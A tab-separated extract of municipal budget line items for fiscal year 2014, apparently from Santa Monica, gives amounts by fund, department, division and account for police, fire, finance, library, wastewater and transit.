9215	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV		 Supplies and Expenses	2014	92000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	92000.0
9216	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401290.0	POLICE-MOVIE JOBS	612.0	Charges for Service	2014	-418200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-418200.0
9217	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17000.0
9218	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2014	1300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1300.0
9219	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9220	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	233456.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	233456.0
9221	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	5100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5100.0
9222	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2014	126735.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	126735.0
9223	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	2100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2100.0
9224	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	8075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8075.0
9225	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566470.0	TRAFFIC SIGNAL MAINTENANCE	816.0	 Supplies and Expenses	2014	120300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	120300.0
9226	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2522.0	0	0	0	0.0	0	20.0	0	0	0	0	0.0	2542.0
9227	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	2696360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2696360.0
9228	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	816305.0	0	0	0	0.0	13123	15554.0	0	0	0	0	0.0	844982.0
9229	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	-11382.92	0	0	0	0	0.0	-11382.92
9230	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9231	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
9232	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	1026.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1026.0
9233	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	2800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2800.0
9234	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400890.0	CITY OF LA  - SEWER REPAIR	650.0	Charges for Service	2014	-398112.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-398112.0
9235	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401650.0	SEWER SERVICE CHARGES	650.0	Charges for Service	2014	-18779223.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18779223.0
9236	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401660.0	WASTEWATER CAPITAL FAC FEES	650.0	Charges for Service	2014	-400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-400000.0
9237	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	10304.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10304.0
9238	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	27675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27675.0
9239	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533600.0	CONF / MTGS / TRAVEL-KM	804.0	 Supplies and Expenses	2014	2975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2975.0
9240	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10800.0
9241	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	39000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39000.0
9242	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1186168.0	0	0	0	-13932.0	18986	-132.0	0	0	0	0	0.0	1191090.0
9243	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	65187.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65187.0
9244	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	3169.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3169.0
9245	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	5146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5146.0
9246	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	5085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5085.0
9247	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	317750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	317750.0
9248	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	87922.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87922.0
9249	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	26636.0	0	0	0	5400.0	0	0.0	0	0	0	0	0.0	32036.0
9250	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	26576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26576.0
9251	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	33276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33276.0
9252	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9253	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
9254	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	95496.0	0	0	0	0.0	1843	0.0	0	0	0	0	0.0	97339.0
9255	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	18963.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18963.0
9256	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	23000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23000.0
9257	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9258	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	6500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6500.0
9259	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
9260	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	18258.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18258.0
9261	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	2348.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2348.0
9262	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2014	124106.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	124106.0
9263	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511490.0	OVERTIME	804.0	Salaries and Wages	2014	19691.0	0	0	0	0.0	0	132.0	0	0	0	0	0.0	19823.0
9264	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	5228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5228.0
9265	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	14318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14318.0
9266	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2014	11501.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11501.0
9267	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	8750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8750.0
9268	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	2938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2938.0
9269	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	3076.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3076.0
9270	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	9653020.0	0	0	0	0.0	341726	21252.0	0	0	0	0	0.0	10015998.0
9271	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	45048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45048.0
9272	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
9273	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
9274	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	17207.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17207.0
9275	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	25800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25800.0
9276	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2014	6430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6430.0
9277	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1536.0	0	0	0	0.0	0	23.0	0	0	0	0	0.0	1559.0
9278	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DCAP	808.0	Salaries and Wages	2015	502.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	502.0
9279	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	79326.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79326.0
9280	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
9281	B1	IS	77	Parking Authority Fund	210	PLANNING & COMM. DEVELOPMENT	610	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2014	-27000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27000.0
9282	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402630.0	WASTEWATER MISC NON-OPERATING	662.0	Other	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
9283	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	412.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	412.0
9284	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533500.0	CONF / MTGS / TRAVEL-RH	804.0	 Supplies and Expenses	2014	2975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2975.0
9285	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533570.0	CONF / MTGS / TRAVEL-TOD	804.0	 Supplies and Expenses	2014	7140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7140.0
9286	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533590.0	CONF / MTGS / TRAVEL-GD	804.0	 Supplies and Expenses	2014	7140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7140.0
9287	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9288	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1977441.0	0	0	0	-14724.0	28488	-13719.0	0	0	0	0	0.0	1977486.0
9289	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
9290	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	16400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16400.0
9291	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	10055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10055.0
9292	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533580.0	COMPUTER/SOFTWARE MAINTENANCE	806.0	 Supplies and Expenses	2014	488849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	488849.0
9293	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544020.0	AMMO/PROTECTIVE CLOTHING-SWORN	806.0	 Supplies and Expenses	2014	205000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205000.0
9294	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544170.0	PROTECTIVE CLOTHING-NON-SWORN	806.0	 Supplies and Expenses	2014	17350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17350.0
9295	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	17508418.0	0	0	0	615315.0	355178	-30752.0	0	0	0	0	0.0	18448159.0
9296	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	134640.0	0	0	0	0.0	5400	0.0	0	0	0	0	0.0	140040.0
9297	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9298	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2014	3597.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3597.0
9299	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544020.0	AMMO / SHOOTING SUPPLIES	806.0	 Supplies and Expenses	2014	36482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36482.0
9300	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566240.0	PARKING METER ENFORCEMENT	806.0	 Supplies and Expenses	2014	32075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32075.0
9301	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
9302	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	4575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4575.0
9303	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	26765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26765.0
9304	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	1558797.0	0	0	0	0.0	79015	-12137.0	0	0	0	0	0.0	1625675.0
9305	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	361946.0	0	0	0	0.0	0	12137.0	0	0	0	0	0.0	374083.0
9306	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
9307	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577062.0	OTHER TRAFFIC EXPENSES		 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9308	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300.0
9309	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	4593.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4593.0
9310	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
9311	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	88736.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88736.0
9312	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	42847.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42847.0
9313	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511490.0	OVERTIME	812.0	Salaries and Wages	2014	6652.0	0	0	0	0.0	0	14.0	0	0	0	0	0.0	6666.0
9314	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2850.0
9315	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755.0
9316	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522610.0	EQUIPMENT RENTAL	812.0	 Supplies and Expenses	2014	56025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56025.0
9317	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522820.0	CONFERENCES/MEETINGS/TRAVEL	812.0	 Supplies and Expenses	2014	11450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11450.0
9318	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	5890.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5890.0
9319	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	5463.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5463.0
9320	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2014	8069.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8069.0
9321	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	8615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8615.0
9322	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
9323	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	3700.0	0	0	0	0.0	10	0.0	0	0	0	0	0.0	3710.0
9324	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9325	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	19479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19479.0
9326	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25625.0
9327	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511490.0	OVERTIME	816.0	Salaries and Wages	2014	57853.0	0	0	0	0.0	0	929.0	0	0	0	0	0.0	58782.0
9328	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9329	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	57657.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57657.0
9330	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4182.0
9331	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	29375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29375.0
9332	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401430.0	CONN/CAP PERMIT FEES	650.0	Charges for Service	2014	-16000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16000.0
9333	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	17083.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17083.0
9334	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	116.0	0	0	0	0	0.0	116.0
9335	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	16652.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16652.0
9336	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	6300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6300.0
